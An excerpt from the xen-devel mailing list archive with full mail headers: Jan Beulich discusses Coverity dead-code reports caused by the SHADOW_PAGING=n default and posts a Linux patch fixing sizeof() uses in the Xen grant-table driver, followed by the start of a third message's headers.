	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpRvV-0002wf-C0; Thu, 30 Jul 2026 14:40:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377929.1623644; Thu, 30 Jul 2026 14:40:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpRvV-0002wY-7w; Thu, 30 Jul 2026 14:40:01 +0000
Received: by outflank-mailman (input) for mailman id 1377929;
 Thu, 30 Jul 2026 14:39:59 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpRvT-0002wQ-BM
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 14:39:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpRvS-000Jnn-L0
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 16:39:58 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b622b-5cb7-0a2a0a5109dd-0a2a450b9b70-42
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 16:39:58 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b623e-b7e8-0a2a450b0019-d155802fa47e-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 16:39:58 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-493f6de72faso6441465e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 07:39:58 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-498011e5febsm61548765e9.3.2026.07.30.07.39.56
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 07:39:56 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Cc:Content-Language:References:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785422398; x=1786027198; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :cc:content-language:references:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=KWY4T4iy+unDopf0OnXyWJbGCaInsS7fGYaAHmEqU9Y=;
        b=LUcjjhAIe0Uj2jtrAI+JibI0gQRcMDBdm7MlvwHtZGsIJH6wu0rb5wHTjK+lniVpkd
         LHCoRv5HWtfdPVsirqQP7aQGZoSXdwd7gN7erV5F6EYeUqkKQRpWr4CQh5/Gj2xOhres
         DNMxkHPsy5dcMtxyC8SsElEq6nXcDMNP3mg/w2VMTVfbeDiWxp1s6+z2W932bszJIEc4
         +l0KS+9OZMMkgth8rPDKv26l2LzqZ08WwPpe8ukVJm/s2l0Y6b+XemQsW6mhm2vUjPG+
         7aP8Cv9m7nq5bPWu/So40L82oJP1lSvocReidod99r7vtiw3ZG5S9016av/u2vFQnLoi
         3usg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785422398; x=1786027198;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :cc:content-language:references:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=KWY4T4iy+unDopf0OnXyWJbGCaInsS7fGYaAHmEqU9Y=;
        b=FOgbyav8iOqe6sGsW/eOZzFGNjtEIKS93RG6vZOHMfL0aTIWYBH9P0tvlprm/dCrCJ
         cQ7X8SmZCGzCKW+kReKptJGtA1G0H+MG+IQtcFnlmOb/QO0fBEGmUITc046ysDtsfpVT
         W3WCLogRY845D5NcM3/hdhIeGVl4zIGGDEYDhf8b4F3Ir+BLOfRzNVJY8PbrXaYGJRk4
         55EP9X2wz9HQHOLqGb/SS3YQ2s2HcZ5auehQFqllA1HSiCr0EfjFyo0JNpgQrzWJBIK+
         +D60p+rHcF5jylz5RJ140ACnVDcpdjrO80ijtGa9ENLPf702veQ+V6viRhDQTd86lO4Q
         m/Xw==
X-Gm-Message-State: AOJu0Yxj8BhKusTxA8vW802GheFhkoqF4sJIXpwX2/qNbYFp+epMgrqi
	0LJ0HhJ2i6KzhpTxE3qTUfSE5vHdJdeNXiepf4jqv5y52Dh+6Eg2IIrgpuJIW2b96iuSqgp8+v6
	dexvhXw==
X-Gm-Gg: AR+sD10JRVjYClIO8qK3/LM9jaSzRMX8jUwWXu9vctKjcIu0f1ueWZE7YEq6ySris0+
	G/x5OczGNG+ylm7tleanpcX8n8AB0coALM6ji/f12KWox4pfFD8e1gxcij6/pOCzCPsWUC1J18H
	h2vpkYf04xL9X12CuvoLanJtKoECP+nT/XXRQDcWbaTyC9JMjZs9C5V32DiCzh32MLtWm/fF3Lg
	NAIYbzfdWYYL4RsEwrpRA4gvHkkrIQAhdKVBFxmdrcr1WfDQQnj7auGc291eFluD7+kxOdmVsaU
	IcMjlV/xR1sJekrHoquXsNya6bJClsgQ9LOmKXx60wCKr97g0z3/O/UYFzZniKvQfnus1Z4A47V
	WF160bSRmmnZwfQenfOEnjI8/W27qRHyMcUsT/DZRHVCAwhUZ7W927IK9QOiLDjGRbW27xzgdnF
	5I7YyrtsVDF0uvO+cRK/wKaSvhTvBOT/uzVMAgcpjmt9g6sqJJpk01K1nDirqZEZlRqGm5c4KB/
	kEMkQU74Imq70jKbuV9jJpDjU0Zn5BE2+bYuL/iERRf6JL5CuMf
X-Received: by 2002:a05:600c:4688:b0:48f:e230:29f5 with SMTP id 5b1f17b1804b1-49804d18413mr8041295e9.16.1785422397042;
        Thu, 30 Jul 2026 07:39:57 -0700 (PDT)
Message-ID: <c2c01987-1ccd-4f14-8300-f637e816cbb7@suse.com>
Date: Thu, 30 Jul 2026 16:39:55 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: New Defects reported by Coverity Scan for XenProject
To: Andrew Cooper <andrew.cooper3@citrix.com>
References: <6a6b266559168_35fb2bc1be9079a4147ab@prd-scan-dashboard-0.mail>
 <d0ff411c-3bd9-4306-8782-ac63f7b202da@suse.com>
 <ab6d9fe6-e239-49ac-9bcf-79779cf63420@citrix.com>
Content-Language: en-US
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0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nB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <ab6d9fe6-e239-49ac-9bcf-79779cf63420@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1785422398-1A4DB9EA-4EA54AB5/0/0
X-purgate-type: clean
X-purgate-size: 6245

On 30.07.2026 15:21, Andrew Cooper wrote:
> On 30/07/2026 2:14 pm, Jan Beulich wrote:
>> On 30.07.2026 12:24, scan-admin@coverity.com wrote:
>>> ** CID 1697485:       Control flow issues  (DEADCODE)
>>> /xen/arch/x86/hvm/hvm.c: 2436           in hvm_set_cr3()
>>>
>>>
>>> _____________________________________________________________________________________________
>>> *** CID 1697485:         Control flow issues  (DEADCODE)
>>> /xen/arch/x86/hvm/hvm.c: 2436             in hvm_set_cr3()
>>> 2430                 curr->arch.vm_event->write_data.cr3_noflush = noflush;
>>> 2431     
>>> 2432                 return X86EMUL_OKAY;
>>> 2433             }
>>> 2434         }
>>> 2435     
>>>>>>     CID 1697485:         Control flow issues  (DEADCODE)
>>>>>>     Execution cannot reach the expression "(value ^ curr->arch.hvm.guest_cr[3]) >> 12" inside this statement: "if (!!(curr->arch.hvm.guest...".
>>> 2436         if ( hvm_paging_enabled(curr) && paging_mode_shadow(currd) &&
>>> 2437              ((value ^ curr->arch.hvm.guest_cr[3]) >> PAGE_SHIFT) )
>>> 2438         {
>>> 2439             /* Shadow-mode CR3 change. Check PDBR and update refcounts. */
>>> 2440             struct page_info *page;
>>> 2441     
>>>
>>> ** CID 1697484:       Control flow issues  (DEADCODE)
>>> /xen/arch/x86/hvm/svm/svm.c: 128           in svm_update_guest_cr()
>>>
>>>
>>> _____________________________________________________________________________________________
>>> *** CID 1697484:         Control flow issues  (DEADCODE)
>>> /xen/arch/x86/hvm/svm/svm.c: 128             in svm_update_guest_cr()
>>> 122                      monitor_ctrlreg_bitmask(VM_EVENT_X86_CR3) )
>>> 123                    vmcb_set_cr_intercepts(vmcb, intercepts | CR_INTERCEPT_CR3_WRITE);
>>> 124             }
>>> 125     
>>> 126             value = v->arch.hvm.guest_cr[0];
>>> 127             if ( paging_mode_shadow(v->domain) )
>>>>>>     CID 1697484:         Control flow issues  (DEADCODE)
>>>>>>     Execution cannot reach this statement: "value |= 0x80010000UL;".
>>> 128                 value |= X86_CR0_PG | X86_CR0_WP;
>>> 129             vmcb_set_cr0(vmcb, value);
>>> 130             break;
>>> 131     
>>> 132         case 2:
>>> 133             vmcb_set_cr2(vmcb, v->arch.hvm.guest_cr[2]);
>>>
>>> ** CID 1697483:       Control flow issues  (DEADCODE)
>>> /xen/arch/x86/hvm/svm/svm.c: 396           in svm_vmcb_restore()
>>>
>>>
>>> _____________________________________________________________________________________________
>>> *** CID 1697483:         Control flow issues  (DEADCODE)
>>> /xen/arch/x86/hvm/svm/svm.c: 396             in svm_vmcb_restore()
>>> 390                 return -EINVAL;
>>> 391             }
>>> 392         }
>>> 393     
>>> 394         if ( paging_mode_shadow(v->domain) )
>>> 395         {
>>>>>>     CID 1697483:         Control flow issues  (DEADCODE)
>>>>>>     Execution cannot reach this statement: "if (c->cr0 & 0x80000000UL) ...".
>>> 396             if ( c->cr0 & X86_CR0_PG )
>>> 397             {
>>> 398                 page = get_page_from_gfn(v->domain, c->cr3 >> PAGE_SHIFT,
>>> 399                                          NULL, P2M_ALLOC);
>>> 400                 if ( !page )
>>> 401                 {
>>>
>>> ** CID 1697482:         (DEADCODE)
>>> /xen/arch/x86/hvm/hvm.c: 2332           in hvm_set_cr0()
>>> /xen/arch/x86/hvm/hvm.c: 2382           in hvm_set_cr0()
>>>
>>>
>>> _____________________________________________________________________________________________
>>> *** CID 1697482:           (DEADCODE)
>>> /xen/arch/x86/hvm/hvm.c: 2332             in hvm_set_cr0()
>>> 2326                 hvm_update_guest_efer(v);
>>> 2327             }
>>> 2328     
>>> 2329             if ( paging_mode_shadow(d) )
>>> 2330             {
>>> 2331                 /* The guest CR3 must be pointing to the guest physical. */
>>>>>>     CID 1697482:           (DEADCODE)
>>>>>>     Execution cannot reach this statement: "gfn = v->arch.hvm.guest_cr[...".
>>> 2332                 gfn = v->arch.hvm.guest_cr[3] >> PAGE_SHIFT;
>>> 2333                 page = get_page_from_gfn(d, gfn, NULL, P2M_ALLOC);
>>> 2334                 if ( !page )
>>> 2335                 {
>>> 2336                     gdprintk(XENLOG_ERR, "Invalid CR3 value = %lx\n",
>>> 2337                              v->arch.hvm.guest_cr[3]);
>>> /xen/arch/x86/hvm/hvm.c: 2382             in hvm_set_cr0()
>>> 2376                 v->arch.hvm.guest_efer &= ~EFER_LMA;
>>> 2377                 hvm_update_guest_efer(v);
>>> 2378             }
>>> 2379     
>>> 2380             if ( paging_mode_shadow(d) )
>>> 2381             {
>>>>>>     CID 1697482:           (DEADCODE)
>>>>>>     Execution cannot reach this statement: "put_page((struct page_info ...".
>>> 2382                 put_page(pagetable_get_page(v->arch.guest_table));
>>> 2383                 v->arch.guest_table = pagetable_null();
>>> 2384             }
>>> 2385         }
>>> 2386     
>>> 2387         if ( ((value ^ old_value) & X86_CR0_CD) &&
>> For all of the above (and maybe more further down the original report): Do we have
>> control over the .config Coverity uses? These (not really) issues all result from
>> SHADOW_PAGING=n by default now, i.e. the unreachable statements are expected in
>> that configuration (and they were there before, if the build had been done with
>> SHADOW_PAGING=n).
> 
> Yes.Â  It is .github/workflows/coverity.yml which does the build and
> submission to Coverity.
> 
> Right now it's a plain `make build-xen`, so will go from absolute
> defaults, but we can change it if needs be.

So first question: Which exact way do we want the Coverity scan to be done? Is there
a reason we have it use a plain default config (which can change at any time, as has
happened now), rather than e.g. an allyesconfig one? Or something yet further
customized (e.g. in xen/arch/*/configs/coverity_defconfig)?

It's only going to be a follow-up question then how exactly to make changes to that
file you point at. I, for one, have no insight into how to try out changes being
made, before actually sending out a patch.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 14:58:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 14:58:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377964.1623652 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSCv-0006Tc-Rl; Thu, 30 Jul 2026 14:58:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377964.1623652; Thu, 30 Jul 2026 14:58:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSCv-0006TV-OM; Thu, 30 Jul 2026 14:58:01 +0000
Received: by outflank-mailman (input) for mailman id 1377964;
 Thu, 30 Jul 2026 14:58:00 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpSCu-0006TP-Rf
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 14:58:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpSCu-000N1A-84
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 16:58:00 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b666b-2eae-0a2a0a5409dd-0a2a45068766-28
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 16:58:00 +0200
Received: from [209.85.221.48] (helo=mail-wr1-f48.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b6677-195a-0a2a45060019-d155dd30ed96-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 16:58:00 +0200
Received: by mail-wr1-f48.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09e5so2309453f8f.1
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 07:58:00 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fc89347bfsm5890152f8f.28.2026.07.30.07.57.58
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 07:57:59 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785423479; x=1786028279; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=Kbr4KlJ4X4RLyJuddVEthaAtCz+hy6m4xdECCXkOzhg=;
        b=ItMZf8VDorylKSvF8LSv5u2xo6eK8xncEv2GJkBG9IfMBkhbQbF7ShlLAcmT/m1tku
         NFt/KoRkyr5MyaBZLjtWEdiyavd5raEPrU8nbP/T3/hqK8S2p/9/bvIxJ4oIOoQ5Waj4
         Bvmd4vyvYtr2CENwNekpBs2arjOQ/0PsQ+RaU9znTXd8mE8lXsiNJseGe9vQ3SEQK4iz
         YxvWEQWKKOywacvdiMAD1i19pMX05Lz1jFZFwTGeRd+oCXGpohZRzUrbhndJXuboB1o4
         C1bnd3JxaVDS53L/FMCHXHLRRk+JAG+mVmPTUCGbT0mLY8bmjKhFJg6b1rknbNUbXvcR
         sL8g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785423479; x=1786028279;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Kbr4KlJ4X4RLyJuddVEthaAtCz+hy6m4xdECCXkOzhg=;
        b=GXkzMRHoqWx1b2okRDvKyRUaXiPtdI36ceHE1wf6pB2byLha08PIBuFTp9BMb0Y85f
         SXOjglNgJNsnR9GUuojIR/QIkQnKdnpFfGkUjUkOrBFYe7qrrvyU7QRMK0Xkiny+lCFY
         0H23TXeEuGYvjo9RQ3mhnXAn0WMw8p5kQV13eLlKTQuPTYc6zuBYpTk+XBFWloUCGSTw
         w4jpAl/tANkplHh6tTW4NHgrCn3rhlWmt4Ued6vzhBCF8gyMy/GbXgRwLE2HW8koNz2m
         arz4pKqBNCjgX74x9raYf7V61EC+ZF7aJV/hfbROnq7KZsZUGFqg13MawN6i/697n9o+
         bVog==
X-Gm-Message-State: AOJu0YxeLEL8HBlg5rmZcZ8Lj0nRDv7rfOVT7sHyn94JMY+0T0a+0oeg
	PYgZxKGmQGNVt2gkPVvmaNbFWcGow+RyB2o6SXY+KriGPs0UH42OjoWkqiLHgRAkE6p6MipDyTR
	FqErHxw==
X-Gm-Gg: AR+sD120Al/m8Av1whSKFNd/c2Fqo14tnDRMVZJyOl75wiWpkLlv9xtvmUODANc2/+1
	rQOwUd5MNultzY/9BeXwffjxtXQ1xLEZHMN/gReWQpU5xQZXjT421kPHbFQbfvjAC+apqJrdyKk
	stkgYfPTJKwI4+fn5ZvKnT798R5G4EBgPMkGHykAWrmkWyThzjbvSIrvTQ38k3uhR+A+eiJZHCJ
	UhiXQlOYY+iPOpmJSiwC8AHWl8Pvc5NXuk948Zw4TCwfgc29C1mpmNEwj6SQul5wk5clq85xWuv
	ktA3dGIO6BXaGV4xHPn3iRnXxyb8TaDrccjdXFA5zoAdchiCsCjujBkYzO+/OVIHybwhiNqnlzq
	fLk/7PdW8m32OlrnKXFKaqneirW+3l0OHuUvZVKlXqMk+OOOpoCx7GnLRFgLwzAY/jpEYljfrGP
	/DhDpdS+MCHkL+MdscgFZlornuCUriEIYP4BOZC9nzyYOaauJktUNM2ecOVPiutlRwdLwDxOBH5
	9qejQw2+YKCUkySeNHPmE+yW0uQk9rGTNLYZ1CUlA7a/Zwo9cN0XhWxFpK6K08=
X-Received: by 2002:a05:6000:1865:b0:47f:9a5c:d2dd with SMTP id ffacd0b85a97d-47fc820d567mr4191056f8f.40.1785423479574;
        Thu, 30 Jul 2026 07:57:59 -0700 (PDT)
Message-ID: <0ddff6c4-7ec7-41a9-9417-687ca16aaafd@suse.com>
Date: Thu, 30 Jul 2026 16:57:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH] Xen/gnttab: adjust two uses of sizeof()
Autocrypt: add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1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785423480-FC20077B-ABD52E46/0/0
X-purgate-type: clean
X-purgate-size: 1040

The use in gnttab_map() is latently buggy, as "frames" there is
xen_pfn_t *, not unsigned long *. Adjust the correct use in
gnttab_map_frames_v2() as well, just to avoid the problematic pattern of
sizeof(<type>).

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/drivers/xen/grant-table.c
+++ b/drivers/xen/grant-table.c
@@ -1406,7 +1406,7 @@ static int gnttab_map_frames_v2(xen_pfn_
 	/* No need for kzalloc as it is initialized in following hypercall
 	 * GNTTABOP_get_status_frames.
 	 */
-	sframes = kmalloc_array(nr_sframes, sizeof(uint64_t), GFP_ATOMIC);
+	sframes = kmalloc_array(nr_sframes, sizeof(*sframes), GFP_ATOMIC);
 	if (!sframes)
 		return -ENOMEM;
 
@@ -1478,7 +1478,7 @@ static int gnttab_map(unsigned int start
 	/* No need for kzalloc as it is initialized in following hypercall
 	 * GNTTABOP_setup_table.
 	 */
-	frames = kmalloc_array(nr_gframes, sizeof(unsigned long), GFP_ATOMIC);
+	frames = kmalloc_array(nr_gframes, sizeof(*frames), GFP_ATOMIC);
 	if (!frames)
 		return -ENOMEM;
 


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 15:05:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 15:05:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377984.1623661 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSKF-00084h-Ie; Thu, 30 Jul 2026 15:05:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377984.1623661; Thu, 30 Jul 2026 15:05:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpSKF-00084a-FR; Thu, 30 Jul 2026 15:05:35 +0000
Received: by outflank-mailman (input) for mailman id 1377984;
 Thu, 30 Jul 2026 15:05:34 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dpsmith@apertussolutions.com>) id 1wpSKD-00084U-TP
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 15:05:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpSKD-009RYc-A2
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 17:05:33 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a6b682c-5cb7-0a2a0a5109dd-0a2a4505be3a-44
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 17:05:32 +0200
Received: from [136.143.188.51] (helo=sender4-of-o51.zoho.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a6b683a-4cb1-0a2a45050019-888fbc33528c-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 17:05:32 +0200
Received: by mx.zohomail.com with SMTPS id 1785423924180976.2813780164784;
 Thu, 30 Jul 2026 08:05:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=zoho header.d=apertussolutions.com header.i="dpsmith@apertussolutions.com" header.h="Message-ID:Date:MIME-Version:Subject:To:From:In-Reply-To:Content-Type:Content-Transfer-Encoding"
ARC-Seal: i=1; a=rsa-sha256; t=1785423928; cv=none; 
	d=zohomail.com; s=zohoarc; 
	b=DJuGEcIYauTPAoWiE4JFvdAh6w8eYTcjzpuoIsjWZ0qPX8fA4PzzJu+M8dkqOk0QAbk+GCFV35l9OP8hll8M7+s+sBB0x1ZLTE4+c6QgWgfXPv9ozd8rJBzWl3ESU0/nZZaqImq17ZiCdOQf0DLV8iIsUrO2zt64kwJ9YacFXXQ=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zohomail.com; s=zohoarc; 
	t=1785423928; h=Content-Type:Content-Transfer-Encoding:Date:Date:From:From:In-Reply-To:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To:Cc; 
	bh=nsyyHMTbFfYhBdAWGvcx+uZU8yQVcmEFptEqyh2cX7w=; 
	b=LCFxoFGEnmvEZdStdiDt4PY0wYnpmCR9fzyOtCGJCsD7E5on9fh4duGcEA6lNcxSNTjt/ElyNJTVnLrojwfnPjYjo78WT4AaHLZKzkpnTqMOCJ/InUR+S+c09CVKFf8PxZLVzNrxjfRJr8X2b+76BgLF81LmIi9Jvf+V8ZQzuJA=
ARC-Authentication-Results: i=1; mx.zohomail.com;
	dkim=pass  header.i=apertussolutions.com;
	spf=pass  smtp.mailfrom=dpsmith@apertussolutions.com;
	dmarc=pass header.from=<dpsmith@apertussolutions.com>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1785423928;
	s=zoho; d=apertussolutions.com; i=dpsmith@apertussolutions.com;
	h=Message-ID:Date:Date:MIME-Version:Subject:Subject:To:To:From:From:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Reply-To:Cc;
